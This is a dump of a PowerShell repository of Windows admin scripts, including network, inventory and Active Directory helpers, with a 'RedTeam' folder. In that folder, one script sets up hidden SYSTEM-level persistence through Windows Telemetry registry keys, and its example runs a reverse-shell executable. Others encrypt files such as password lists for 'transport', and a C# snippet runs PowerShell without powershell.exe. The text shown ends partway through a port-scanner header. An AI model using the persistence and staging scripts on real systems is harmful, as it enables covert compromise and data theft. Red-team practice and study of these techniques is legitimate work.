├── SUMMARY.md ├── Snippets ├── PSShell.cs ├── Select-FileWithDialog.ps1 └── Run-ADPreChecks.ps1 ├── Clear-ExcessCertificates.ps1 ├── RedTeam ├── AesEncrypt-File.ps1 ├── AESDecrypt-File.ps1 ├── Run-TelemetryCommand.ps1 ├── Decrypt-TextFile.ps1 ├── New-Shortcut.ps1 ├── Encrypt-TextFile.ps1 └── Create-IsoWithLnk.ps1 ├── Template.ps1 ├── Network ├── Renew-DHCP.ps1 ├── Get-OpenPortsWithProcess.ps1 └── Scan-TCPPorts.ps1 ├── Get-SoftwareInventory.ps1 ├── Get-ShortcutProperties.ps1 ├── README.md ├── Add-RemotePrinter.ps1 ├── Locate-UserProfile.ps1 ├── Create-ADUserFromCsv.ps1 ├── Get-MonitorInventory.ps1 └── Get-ComputerInventoryToCSV.ps1 /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Table of contents 2 | 3 | * [PowerShell Administration Tools](README.md) 4 | 5 | -------------------------------------------------------------------------------- /Snippets/PSShell.cs: -------------------------------------------------------------------------------- 1 | /* 2 | Compile this code to run a PowerShell command without using powershell.exe 3 | Will run one command, wait for keypress, then exit. 4 | */ 5 | 6 | using System; 7 | using System.Collections.ObjectModel; 8 | using System.Management.Automation; 9 | using System.Management.Automation.Runspaces; 10 | 11 | namespace PSShell 12 | 13 | { 14 | class Program 15 | { 16 | static void Main(string[] args) 17 | { 18 | Console.Write("PSShell> "); 19 | String cmd = Console.ReadLine(); 20 | 21 | Runspace rs = RunspaceFactory.CreateRunspace(); 22 | rs.Open(); 23 | 24 | PowerShell ps = PowerShell.Create(); 25 | ps.Runspace = rs; 26 | ps.AddScript(cmd); 27 | 28 | Collection output = ps.Invoke(); 29 | 30 | if (output != null) 31 | { 32 | foreach (PSObject rtnItem in output) 33 | { 34 | Console.WriteLine(rtnItem.ToString()); 35 | } 36 | } 37 | 38 | rs.Close(); 39 | Console.Write("Press any key to exit."); 40 | Console.ReadLine(); 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /Clear-ExcessCertificates.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Description 3 | This script clears all PIV certificates from the local store except for the current user's 4 | The current iteration of this script relies on the user to enter their name. 5 | There are ways to automate this, however current environment precludes this. 6 | The easiest way would be to pull the current username from $env:username 7 | .Notes 8 | Author: Beery, Christopher (https://github.com/zweilosec) 9 | Created: 15 Nov 2021 10 | Last Modified: 30 Nov 2021 11 | #> 12 | 13 | #used to check the user's confirmation 14 | $confirm = 'no' 15 | 16 | #Prompts the user to enter their Last Name to be used to check against their PIV certificates 17 | While($confirm -notin @('y', 'Y', 'Yes', 'YES','yes')) 18 | { 19 | #Prompts the user to enter their surname 20 | Write-Host "Please enter your Last Name (as written in your PIV certificate)" -ForegroundColor Yellow 21 | $name = (Read-Host "Last Name" ).ToUpper() 22 | Write-Host "You typed $name, is this correct?" -ForegroundColor DarkYellow 23 | $confirm = (Read-Host "[Y/N]") 24 | } 25 | 26 | #List all certificates in the store and remove any that do not match the name entered 27 | Get-ChildItem cert:\CurrentUser\my | Where-Object {$_.Subject -NotLike "*$name*" } | Remove-Item 28 | -------------------------------------------------------------------------------- /Snippets/Select-FileWithDialog.ps1: -------------------------------------------------------------------------------- 1 | #Code snippet to display an Explorer window to select a file (.csv in this example) 2 | #Copy and paste into your PowerShell script to add this functionality. Modify variables as needed 3 | 4 | #region User-defined variables 5 | 6 | #Folder to start file selector in. currently set to the user's Desktop. Modify if needed. 7 | $ImportPath = 'C:' + $env:HOMEPATH + '\' + 'Desktop' 8 | 9 | #Filters files to only show ".csv", ".txt", or all files. Change this as needed. 10 | #Format is (with each selection option separated by a pipe (|)): DescriptionToShow|Filetype;Filetype 11 | $fileFilter = "CSV (*.csv,*.txt)|*.csv;*.txt|Text Files (*.txt)|*.txt|All files (*.*)|*.*" 12 | 13 | #endregion User-defined variables 14 | 15 | #region Display Explorer window to select a .csv file 16 | 17 | function Select-FileWithDialog 18 | { 19 | #Starts the folder selector in the specified folder 20 | param([string]$Description="Select Folder",[string]$RootFolder=$ImportPath) 21 | 22 | [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null 23 | 24 | $objForm = New-Object System.Windows.Forms.OpenFileDialog 25 | $objForm.InitialDirectory = $RootFolder 26 | 27 | #Filters files to only show files based on the variable set above. 28 | $objForm.filter = $fileFilter 29 | 30 | $objForm.ShowDialog() | Out-Null 31 | $objForm.FileName 32 | } 33 | 34 | #This variable contains the user's file selection 35 | $file = Select-FileWithDialog 36 | 37 | #endregion Display Explorer window to select a .csv file 38 | -------------------------------------------------------------------------------- /RedTeam/AesEncrypt-File.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | This script provides AES encryption of arbitrary files. 4 | .DESCRIPTION 5 | PowerShell script for encrypting files of any type. Fixes the limitations of my Encrypt-TextFile functions. 6 | .EXAMPLE 7 | AESEncrypt-File -Path C:\temp\passwords.txt 8 | .INPUTS 9 | -Path 10 | The target file to encrypt 11 | .OUTPUTS 12 | This script returns text in an encrypted form, Base64-encoded for easy transport. 13 | Note: The key and IV are currently generated in-script and appended to the encoded data. May not be OPSEC safe! 14 | .NOTES 15 | Author: Beery, Christopher (https://github.com/zweilosec) 16 | Created: 28 Dec 2022 17 | Last Modified: 28 Dec 2022 18 | Useful Study Links: 19 | * https://codeforcontent.com/blog/using-aes-in-powershell/ 20 | * https://codeandkeep.com/PowerShell-Aes-Encryption/ 21 | * https://stackoverflow.com/questions/31855705/write-bytes-to-a-file-natively-in-powershell 22 | #> 23 | function AESEncrypt-File 24 | { 25 | param( 26 | [Parameter(Mandatory=$true)] 27 | [String]$Path 28 | ) 29 | 30 | # Generate a new key and initialization vector (IV) 31 | $aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider 32 | $aes.GenerateKey() 33 | $aes.GenerateIV() 34 | 35 | # Read the file into a byte array 36 | $data = [System.IO.File]::ReadAllBytes($Path) 37 | 38 | # Encrypt the data using the key and IV 39 | $encrypted = $aes.CreateEncryptor().TransformFinalBlock($data, 0, $data.Length) 40 | 41 | # Write to Base64 for easier transport 42 | # Currently, '/CUT/' is the hard-coded delimiter 43 | $encryptedString = [Convert]::ToBase64String($encrypted) 44 | $encryptedString += "/CUT/" + [Convert]::ToBase64String($aes.Key) 45 | $encryptedString += "/CUT/" + [Convert]::ToBase64String($aes.IV) 46 | 47 | # Clean up the AES Generators 48 | $aes.Dispose() 49 | 50 | # Return the encrypted data 51 | return $encryptedString 52 | } 53 | -------------------------------------------------------------------------------- /Template.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Short description 4 | .DESCRIPTION 5 | Long description 6 | .EXAMPLE 7 | Example of how to use this cmdlet 8 | .EXAMPLE 9 | Another example of how to use this cmdlet 10 | .INPUTS 11 | Inputs to this cmdlet (if any) 12 | .OUTPUTS 13 | Output from this cmdlet (if any) 14 | .NOTES 15 | General notes 16 | .COMPONENT 17 | The component this cmdlet belongs to 18 | .ROLE 19 | The role this cmdlet belongs to 20 | .FUNCTIONALITY 21 | The functionality that best describes this cmdlet 22 | #> 23 | function Verb-Noun 24 | { 25 | [CmdletBinding(DefaultParameterSetName='Parameter Set 1', 26 | SupportsShouldProcess=$true, 27 | PositionalBinding=$false, 28 | HelpUri = 'http://www.microsoft.com/', 29 | ConfirmImpact='Medium')] 30 | [Alias()] 31 | [OutputType([String])] 32 | Param 33 | ( 34 | # Param1 help description 35 | [Parameter(Mandatory=$true, 36 | ValueFromPipeline=$true, 37 | ValueFromPipelineByPropertyName=$true, 38 | ValueFromRemainingArguments=$false, 39 | Position=0, 40 | ParameterSetName='Parameter Set 1')] 41 | [ValidateNotNull()] 42 | [ValidateNotNullOrEmpty()] 43 | [ValidateCount(0,5)] 44 | [ValidateSet("sun", "moon", "earth")] 45 | [Alias("p1")] 46 | $Param1, 47 | 48 | # Param2 help description 49 | [Parameter(ParameterSetName='Parameter Set 1')] 50 | [AllowNull()] 51 | [AllowEmptyCollection()] 52 | [AllowEmptyString()] 53 | [ValidateScript({$true})] 54 | [ValidateRange(0,5)] 55 | [int] 56 | $Param2, 57 | 58 | # Param3 help description 59 | [Parameter(ParameterSetName='Another Parameter Set')] 60 | [ValidatePattern("[a-z]*")] 61 | [ValidateLength(0,15)] 62 | [String] 63 | $Param3 64 | ) 65 | 66 | Begin 67 | { 68 | } 69 | Process 70 | { 71 | if ($pscmdlet.ShouldProcess("Target", "Operation")) 72 | { 73 | } 74 | } 75 | End 76 | { 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /RedTeam/AESDecrypt-File.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | This script provides decryption of arbitrary files encrypted by my AESEncrypt-File function. 4 | .DESCRIPTION 5 | PowerShell script for decrypting files of any type. Fixes the limitations of my Encrypt-TextFile functions. 6 | Note: The key and IV are cut from the where they were appended to the encoded data. May not be OPSEC safe! 7 | .EXAMPLE 8 | AESDecrypt-File -encrypted "" -OutFile "C:\Temp\Recovered_passwords.zip" 9 | .INPUTS 10 | -encrypted 11 | The encrypted string to decrypt. 12 | 13 | -OutFile 14 | The output file. Defaults to $env:HOMEPATH\recovered 15 | .OUTPUTS 16 | This script returns a decrypted file. 17 | .NOTES 18 | Author: Beery, Christopher (https://github.com/zweilosec) 19 | Created: 28 Dec 2022 20 | Last Modified: 28 Dec 2022 21 | Useful Study Links: 22 | * https://codeforcontent.com/blog/using-aes-in-powershell/ 23 | * https://codeandkeep.com/PowerShell-Aes-Encryption/ 24 | * https://stackoverflow.com/questions/31855705/write-bytes-to-a-file-natively-in-powershell 25 | #> 26 | 27 | function Decrypt-AESFile 28 | { 29 | param( 30 | [Parameter(Mandatory=$true)] 31 | [String]$encrypted, 32 | [String]$OutFile = "$env:HOMEPATH\recovered" 33 | ) 34 | try 35 | { 36 | # Extract the encrypted chunk, key, and IV from the encrypted data 37 | $encrypted, $key, $iv = $encrypted -Split '/CUT/' 38 | $encryptedBytes = [Convert]::FromBase64String($encrypted) 39 | $keyBytes = [Convert]::FromBase64String($key) 40 | $ivBytes = [Convert]::FromBase64String($iv) 41 | 42 | # Create a new AesCryptoServiceProvider object 43 | $aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider 44 | $aes.Key = $keyBytes 45 | $aes.IV = $ivBytes 46 | 47 | # Decrypt the data using the key and IV 48 | $decrypted = $aes.CreateDecryptor().TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length) 49 | 50 | # Write the decrypted data to a file 51 | [System.IO.File]::WriteAllBytes($OutFile, $decrypted) 52 | } 53 | catch 54 | { 55 | # Log the exception message to a file 56 | Write-Error $_.Exception.Message | Out-File -FilePath "decrypt_error.log" 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /Network/Renew-DHCP.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Releases DHCP reservations and then renews them. 4 | .DESCRIPTION 5 | Releases DHCP reservations for all active interfaces and renews them. Fully PowerShell equivilent to running `ipconfig /release; ipconfig /renew`. 6 | .EXAMPLE 7 | Renew-DHCP 8 | .INPUTS 9 | None 10 | .OUTPUTS 11 | Returns the new IP address, Subnet Mask, Default Gateway, and DNS Server for each interface that was renewed. 12 | .NOTES 13 | Fully PowerShell equivilent to running `ipconfig /release; ipconfig /renew`. 14 | #> 15 | 16 | function Renew-DHCP 17 | { 18 | #Add each network interface to a list for manipulation, only selecting those that have IP and DHCP enabled 19 | $ifaceList = Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Where { $_.IpEnabled -eq $true -and $_.DhcpEnabled -eq $true} 20 | 21 | #This is outside the foreach loop since we don't need it to be said each time 22 | Write-Host "Flushing DHCP reservations..." -ForegroundColor Yellow 23 | 24 | foreach ($iface in $ifaceList) { 25 | $iface.ReleaseDHCPLease() | out-Null 26 | 27 | #Sometimes DHCP can be a bit slow...give it a little time to process 28 | Sleep 2 29 | 30 | #Renew the DHCP reservation for the current interface 31 | Write-Host "Renewing DHCP reservations..." -ForegroundColor Yellow 32 | $iface.RenewDHCPLease() | out-Null 33 | 34 | #Assign each of the interface properties to print out to variables for manipulation 35 | $IfaceName = $iface.NetConnectionID 36 | #$Name = $iface.GetRelated("Win32_PnPEntity") | Select-Object -ExpandProperty Name 37 | $IPAddress = $iface.IpAddress[0] 38 | $SubnetMask = $iface.IPSubnet[0] 39 | $DefaultGateway = $iface.DefaultIPGateway[0] 40 | $DNSServers = $iface.DNSServerSearchOrder 41 | $MACAddress = $iface.MACAddress 42 | $DHCPServer = $iface.DHCPServer 43 | 44 | #Add the specific properties to print out to an object 45 | $ifaceOutput = [PSCustomObject]@{ 46 | Name = $IfaceName 47 | IPAddress = $IPAddress 48 | SubnetMask = $SubnetMask 49 | Gateway = $DefaultGateway 50 | DNSServers = $DNSServers 51 | MACAddress = $MACAddress 52 | DHCPServer = $DHCPServer 53 | } 54 | #Add each interface's new output to a list 55 | $ifaceOutputs += $ifaceOutput 56 | 57 | } 58 | Write-Host "The new IP Addresses are seen below: " -ForegroundColor Green 59 | $ifaceOutputs | Out-Host 60 | 61 | #Get-NetIPConfiguration 62 | } 63 | -------------------------------------------------------------------------------- /RedTeam/Run-TelemetryCommand.ps1: -------------------------------------------------------------------------------- 1 | function Run-TelemetryCommand 2 | { 3 | <# 4 | .Synopsis 5 | Enable Persistence through Windows Telemetry. 6 | .DESCRIPTION 7 | PowerShell script for running commands as SYSTEM through Windows Telemetry. 8 | Requires local admin rights to install (requires the ability to write to HKLM), but is not visible in autoruns. 9 | .EXAMPLE 10 | Run-Telemetry -Command C:\Windows\Temp\reverse_shell.exe 11 | .INPUTS 12 | -Command 13 | The target to run. Enter the full path (Ex: C:Windows\system32\notepad.exe) 14 | .OUTPUTS 15 | This script creates multiple registry entries under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController 16 | .NOTES 17 | Author: Beery, Christopher (https://github.com/zweilosec) 18 | Created: 27 Dec 2022 19 | Last Modified: 27 Dec 2022 20 | Useful Study Links: 21 | * https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/ 22 | #> 23 | 24 | [CmdletBinding()] 25 | param ( 26 | [Parameter(Mandatory=$true)] 27 | [string]$Command 28 | ) 29 | 30 | # Get default gateway 31 | $defaultGateway = (Get-NetIPConfiguration).IPv4DefaultGateway.NextHop 32 | 33 | # Check if machine has an active network connection by pinging default gateway (Telemetry requires an active network connection) 34 | $pingResult = Test-Connection -ComputerName $defaultGateway -Count 1 35 | if (!$pingResult) 36 | { 37 | Write-Output "No active network connection. Telemetry will not run until connectivity is restored." 38 | } 39 | else 40 | { 41 | Write-Output "Active network connection detected" 42 | } 43 | 44 | # Add key to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController 45 | New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController" -Force 46 | 47 | # Set value of "Command" in new key to .exe file specified in $command parameter 48 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController" -Name "Command" -Value $command 49 | 50 | # Set values for Maintenance, Nightly, and Oobe keys to 1 51 | New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController" -Name "Maintenance" -PropertyType DWORD -Value 1 52 | New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController" -Name "Nightly" -PropertyType DWORD -Value 1 53 | New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController" -Name "Oobe" -PropertyType DWORD -Value 1 54 | 55 | # Run the command immediately with this command, otherwise you will need to create your own scheduled task for better persistence (TODO:) 56 | Start-ScheduledTask -TaskName "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser" 57 | } 58 | -------------------------------------------------------------------------------- /Network/Get-OpenPortsWithProcess.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | A simple script for listing open TCP or UDP ports. 4 | 5 | .Description 6 | A PowerShell script for listing open TCP and/or UDP ports. 7 | 8 | Options: 9 | -TCP : Show open TCP ports 10 | -UDP : Show open UDP ports 11 | -Listening : Show listening ports 12 | 13 | Default is to show all open TCP and UDP ports. 14 | 15 | .Example 16 | Get-PortsWithProcess 17 | 18 | Lists all open TCP and UDP ports. 19 | 20 | .Example 21 | Get-PortsWithProcess -Listening 22 | 23 | Lists all listening ports. 24 | 25 | .Example 26 | Get-PortsWithProcess -TCP 27 | 28 | List all open TCP ports. 29 | 30 | .Example 31 | Get-PortsWithProcess -TCP -Listening 32 | 33 | List all listening TCP ports. 34 | 35 | .Example 36 | Get-PortsWithProcess -UDP 37 | 38 | List all open UDP ports. 39 | 40 | .Notes 41 | Author: Beery, Christopher 42 | Created: 25 Nov 2021 43 | Last Modified: 27 Nov 2021 44 | 45 | Helpful sites: 46 | https://stackoverflow.com/questions/54648600/add-custom-value-in-powershell-output-table 47 | https://www.top-password.com/blog/find-which-process-is-listening-on-given-port-in-windows/ 48 | #> 49 | 50 | #region Functions 51 | function Get-PortsWithProcess 52 | { 53 | #[switch] parameters are boolean, and default to $false if not included 54 | param([switch]$TCP,[switch]$UDP,[switch]$Listening) 55 | 56 | function Get-TCPPorts 57 | { 58 | $processes = Get-NetTCPConnection 59 | 60 | foreach ($process in $processes) 61 | { 62 | # The syntax @{n="Proto";e={"TCP"}} creates a new property with n=Name and e=Object. n must be inside "" and e must be inside {} 63 | $process | Select -Property @{n="Proto";e={"TCP"}},LocalPort,LocalAddress,OwningProcess,@{n="ProcessName";e={(Get-Process -PID $process.OwningProcess).ProcessName}} 64 | } 65 | } 66 | function Get-TCPListener 67 | { 68 | $processes = Get-NetTCPConnection | ? {($_.State -eq "Listen") -and ($_.RemoteAddress -eq "0.0.0.0" -or "::")} 69 | 70 | foreach ($process in $processes) 71 | { 72 | $process | Select -Property @{n="Proto";e={"TCP"}},LocalPort,LocalAddress,OwningProcess,@{n="ProcessName";e={(Get-Process -PID $process.OwningProcess).ProcessName}} 73 | } 74 | } 75 | 76 | function Get-UDPPorts 77 | { 78 | $processes = Get-NetUDPEndpoint 79 | 80 | foreach ($process in $processes) 81 | { 82 | $process | Select -Property @{n="Proto";e={"UDP"}},LocalPort,LocalAddress,OwningProcess,@{n="ProcessName";e={(Get-Process -PID $process.OwningProcess).ProcessName}} 83 | } 84 | } 85 | #endregion Functions 86 | 87 | #region Output 88 | #check which parameter flags were included and give the correct output 89 | if ($TCP) 90 | { 91 | Get-TCPListener | Format-Table 92 | Return 93 | } 94 | 95 | elseif ($TCP -and $Listening) 96 | { 97 | Get-TCPListener | Format-Table 98 | Return 99 | } 100 | 101 | elseif ($UDP) 102 | { 103 | Get-UDPPorts | Format-Table 104 | Return 105 | } 106 | 107 | elseif ( $TCP -eq $false -and $UDP -eq $false -and $Listening) 108 | { 109 | Get-TCPListener | Format-Table 110 | Get-UDPPorts | Format-Table 111 | Return 112 | } 113 | 114 | else 115 | { 116 | Get-TCPPorts | Format-Table 117 | Get-UDPPorts | Format-Table 118 | Return 119 | } 120 | } 121 | #endregion Output 122 | -------------------------------------------------------------------------------- /Get-SoftwareInventory.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Script for gathering software inventory information. 4 | .DESCRIPTION 5 | Script for gathering ComputerName, DisplayName, DisplayVersion, Publisher for all software from a list of computers. 6 | .EXAMPLE 7 | Get-SoftwareInventory -ComputerName Example-Comp1 -Verbose 8 | .EXAMPLE 9 | Get-SoftwareInventory .\Computers.txt 10 | .EXAMPLE 11 | Get-ADComputer -Filter * -SearchBase "OU=TestOU,DC=TestDomain,DC=com" | Select -Property Name | Get-SoftwareInventory 12 | .INPUTS 13 | -ComputerName 14 | Input a list of computer names, either piped in as an object or a text file file with one computer name per line. 15 | .OUTPUTS 16 | 17 | ComputerName DisplayName DisplayVersion Publisher 18 | ------------ ----------- -------------- --------- 19 | {COMPUTERNAME} Windows Driver Package - Intel (Netwtw02) net (04/16/2021 19.37.23.4) 04/16/2021 19.37.23.4 Intel 20 | {COMPUTERNAME} Mozilla Firefox (x64 en-US) 121.0.1 Mozilla 21 | {COMPUTERNAME} Mozilla Maintenance Service 99.0 Mozilla 22 | etc. 23 | 24 | .NOTES 25 | Authors: Beery, Christopher (https://github.com/zweilosec) 26 | Created: 11 Jun 2022 27 | Last Modified: 11 Jun 2022 28 | .FUNCTIONALITY 29 | Computer software enumeration tool 30 | #> 31 | 32 | function Get-SoftwareInventory 33 | { 34 | #Enable -Verbose output, piping of input from other comdlets, and more 35 | [CmdletBinding()] 36 | #List of input parameters 37 | Param 38 | ( 39 | #List of ComputerNames to process 40 | [Parameter(ValueFromPipeline=$true, 41 | ValueFromPipelineByPropertyName=$true)] 42 | [ValidateNotNullOrEmpty()] 43 | [alias('Name')] #Allows for piping in of computers by name from Active Directory (Get-ADComputer) 44 | [string[]] 45 | $ComputerName 46 | ) 47 | 48 | Begin 49 | { 50 | $SoftwareArray = @() 51 | } 52 | 53 | Process 54 | { 55 | #Variable to hold the location of Currently Installed Programs 56 | $SoftwareRegKey = ”SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall” 57 | 58 | #Create an instance of the Registry Object and open the HKLM base key 59 | $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey(‘LocalMachine’,$ComputerName) 60 | 61 | #Open the Uninstall subkey using the OpenSubKey Method 62 | $RegKey = $Reg.OpenSubKey($SoftwareRegKey) 63 | 64 | #Create a string array containing all the subkey names 65 | [String[]]$SubKeys = $RegKey.GetSubKeyNames() 66 | 67 | #Open each Subkey and use its GetValue method to return the required values 68 | foreach($key in $SubKeys) 69 | { 70 | $UninstallKey = $SoftwareRegKey + ”\\” + $key 71 | $UninstallSubKey = $reg.OpenSubKey($UninstallKey) 72 | $obj = [PSCustomObject]@{ 73 | Computer_Name = $ComputerName 74 | DisplayName = $($UninstallSubKey.GetValue(“DisplayName”)) 75 | DisplayVersion = $($UninstallSubKey.GetValue(“DisplayVersion”)) 76 | InstallLocation = $($UninstallSubKey.GetValue(“InstallLocation”)) 77 | Publisher = $($UninstallSubKey.GetValue(“Publisher”)) 78 | } 79 | $SoftwareArray += $obj 80 | } 81 | } 82 | End 83 | { 84 | $SoftwareArray | Where-Object { $_.DisplayName } | Select-Object ComputerName, DisplayName, DisplayVersion, Publisher | Format-Table -AutoSize 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /RedTeam/Decrypt-TextFile.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | This script provides decryption of text files using a key. 4 | .DESCRIPTION 5 | PowerShell script for decrypting text files encrypted with my other script. 6 | There are two functions contained in this script: 7 | Decrypt-File - For use with my Encrypt-File function 8 | 9 | Decrypt-LongFile - For use with my Encrypt-LongFile function 10 | Requires a map of the length of each encrypted chunk in order to decrypt the data, which was saved to CSV. 11 | .EXAMPLE 12 | Decrypt-LongFile -enc_text C:\temp\Encrypted-File 13 | .INPUTS 14 | -enc_text 15 | The target text/file to decrypt 16 | -recovered 17 | An optional parameter that specifies the name of the ouput file 18 | .OUTPUTS 19 | This script decrypts text and outputs the plaintext to a file. 20 | .NOTES 21 | Author: Beery, Christopher (https://github.com/zweilosec) 22 | Created: 24 Dec 2022 23 | Last Modified: 27 Dec 2022 24 | Useful Study Links: 25 | * https://medium.com/@sumindaniro/encrypt-decrypt-data-with-powershell-4a1316a0834b 26 | * https://medium.com/@nikhilsda/encryption-and-decryption-in-powershell-e7a678c5cd7d 27 | * https://shellgeek.com/split-string-into-fix-length-in-powershell/ 28 | #> 29 | 30 | function Decrypt_file 31 | { 32 | param( 33 | [Parameter(Mandatory=$true)] 34 | [String] 35 | $enc_text, 36 | [String]$key = "usemetodecryptit", 37 | [String] 38 | $recovered = "recovered.txt" 39 | ) 40 | 41 | # Key to be used to decrypt data. Must be either 128 bits (16 chars), 192 bits (24 chars), or 256 bits (32 chars) long. 42 | $key = (New-Object System.Text.ASCIIEncoding).GetBytes($key) 43 | 44 | # Decrypt the data 45 | echo $enc_text | 46 | ConvertTo-SecureString -key $key | 47 | ForEach-Object {[Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($_))} > $recovered 48 | } 49 | 50 | function Decrypt_Longfile 51 | { 52 | param( 53 | [Parameter(Mandatory=$true)] 54 | [String]$enc_text, 55 | [String]$key = "usemetodecryptit", 56 | [String]$recovered = "recovered.txt" 57 | ) 58 | 59 | # Key to be used to decrypt data. Must be either 128 bits (16 chars), 192 bits (24 chars), or 256 bits (32 chars) long. 60 | $key = (New-Object System.Text.ASCIIEncoding).GetBytes($key) 61 | 62 | $hashmap = (Import-Csv "HashMap.csv") 63 | 64 | # Initialize the output variable 65 | $decrypted = "" 66 | 67 | # Loop through the chunk lengths array 68 | for ($i = 0; $i -lt $hashmap.Count; $i++) 69 | { 70 | # Get the length of the current chunk 71 | $length = $hashmap.Item($i) 72 | $hash_len = $length.Number 73 | 74 | # Extract the current chunk from the encrypted data 75 | $chunk = $enc_text.Substring(0,$hash_len).Trim() 76 | 77 | # Remove the current chunk from the beginning of the encrypted data 78 | $enc_text = $enc_text.Substring($hash_len) 79 | 80 | # Decrypt the chunk 81 | $secureString = $chunk | ConvertTo-SecureString -key $key 82 | $decryptedChunk = ForEach-Object {[Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))} 83 | 84 | # Append the decrypted chunk to the decrypted variable 85 | $decrypted += $decryptedChunk 86 | } 87 | 88 | # Write the decrypted data to a file 89 | echo $decrypted > $recovered 90 | } 91 | -------------------------------------------------------------------------------- /Snippets/Run-ADPreChecks.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Description 3 | Code snippet to do some preliminary checks to ensure a script will function 4 | Checks for administrator privileges, PowerShell v5 or greater, and the ActiveDirectory PowerShell modules 5 | https://stackoverflow.com/questions/2022326/terminating-a-script-in-powershell 6 | 7 | Copy and paste into your PowerShell script to add this functionality. 8 | #> 9 | 10 | #region pre-check functions 11 | 12 | function Test-Administrator() 13 | { 14 | $identity= [Security.Principal.WindowsIdentity]::GetCurrent() 15 | $principal = New-Object Security.Principal.WindowsPrincipal($identity) 16 | if($principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator )) 17 | { 18 | return $true 19 | } 20 | else 21 | { 22 | return $false 23 | } 24 | } 25 | 26 | function PreCheck() 27 | { 28 | Write-Host "Checking Powershell Script Prerequisites...." -ForegroundColor Green 29 | Write-Host 30 | 31 | if($PSVersionTable.PSVersion -lt "5.0.0.0") 32 | { 33 | $ver = $PSVersionTable.PSVersion 34 | Write-Host "Powershell version check: Fail" -ForegroundColor Yellow 35 | Write-Host 36 | Write-Host "WARNING: THE VERSION OF POWERSHELL RUNNING ON THIS SYSTEM ($ver) IS NOT COMPATIBLE WITH THIS SCRIPT." -ForegroundColor red 37 | Write-Host "Please see https://www.microsoft.com/en-us/download/details.aspx?id=50395 to download Microsoft Management Framework 5 which includes Powershell Version 5." -ForegroundColor Yellow 38 | Write-Host 39 | Throw "Exiting pre-checks with error code 1 (PowerShell version >5 not detected.)." 40 | #Read-Host -Prompt "Press Ctrl-C to continue. ([Enter] will close the window!)" 41 | #Exit 42 | } 43 | else {Write-Host "Powershell Version 5 or higher: Good" -ForegroundColor Green} 44 | 45 | if(Get-Module -ListAvailable -Name ActiveDirectory){Write-Host "Powershell Active Directory Module: Installed" -ForegroundColor Green} 46 | else 47 | { 48 | Write-Host "Powershell Active Directory Module: Not Installed" -ForegroundColor Yellow 49 | Write-Host 50 | Write-Host "WARNING: THE POWERSHELL ACTIVE DIRECTORY MODULE IS NOT INSTALLED ON THIS SYSTEM. THIS SCRIPT WILL NOT FUNCTION CORRECTLY WITHOUT THIS MODULE." -ForegroundColor Red 51 | Write-Host "Please see https://technet.microsoft.com/en-us/library/dd378937 for how to install the Active Directory Module for Powershell." -ForegroundColor Yellow 52 | Write-Host 53 | Throw "Exiting pre-checks with error code 2 (ActiveDirectory module not installed)." 54 | #Read-Host -Prompt "Press Ctrl-C to continue. ([Enter] will close the window!)" 55 | #Exit 56 | } 57 | 58 | if(Test-Administrator -eq $true){Write-Host "Checking for Administrator Privileges: Good" -ForegroundColor Green} 59 | else 60 | { 61 | Write-Host "Administrator privilege check: Fail" -ForegroundColor Yellow 62 | Write-Host 63 | Write-Host "WARNING: THIS SCRIPT IS NOT BEING RUN AS AN ADMINISTRATOR. THIS SCRIPT WILL NOT FUNCTION WITHOUT ADMINISTRATIVE PRIVILEGES." -ForegroundColor Red 64 | Write-Host "The script will now exit. Please rerun as an administrator." -ForegroundColor Yellow 65 | Write-Host 66 | Throw "Exiting pre-checks with error code 3 (Script run without Administrator rights)." 67 | #Read-Host -Prompt "Press Ctrl-C to continue. ([Enter] will close the window!)" 68 | #Exit 69 | } 70 | } 71 | 72 | PreCheck 73 | Write-Host "Pre-checks complete." -ForegroundColor Green 74 | Write-Host 75 | 76 | #endregion pre-check functions 77 | -------------------------------------------------------------------------------- /Network/Scan-TCPPorts.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Simple TCP Port scanner. 4 | 5 | .INPUTS 6 | Takes in a comma separated list of IPs, and of ports. An output file can be specified as well. 7 | Usage: Scan-TCPPorts -outfile 8 | 9 | .OUTPUTS 10 | Outputs results to a csv file with IP, Protocol, Port & Result headers. 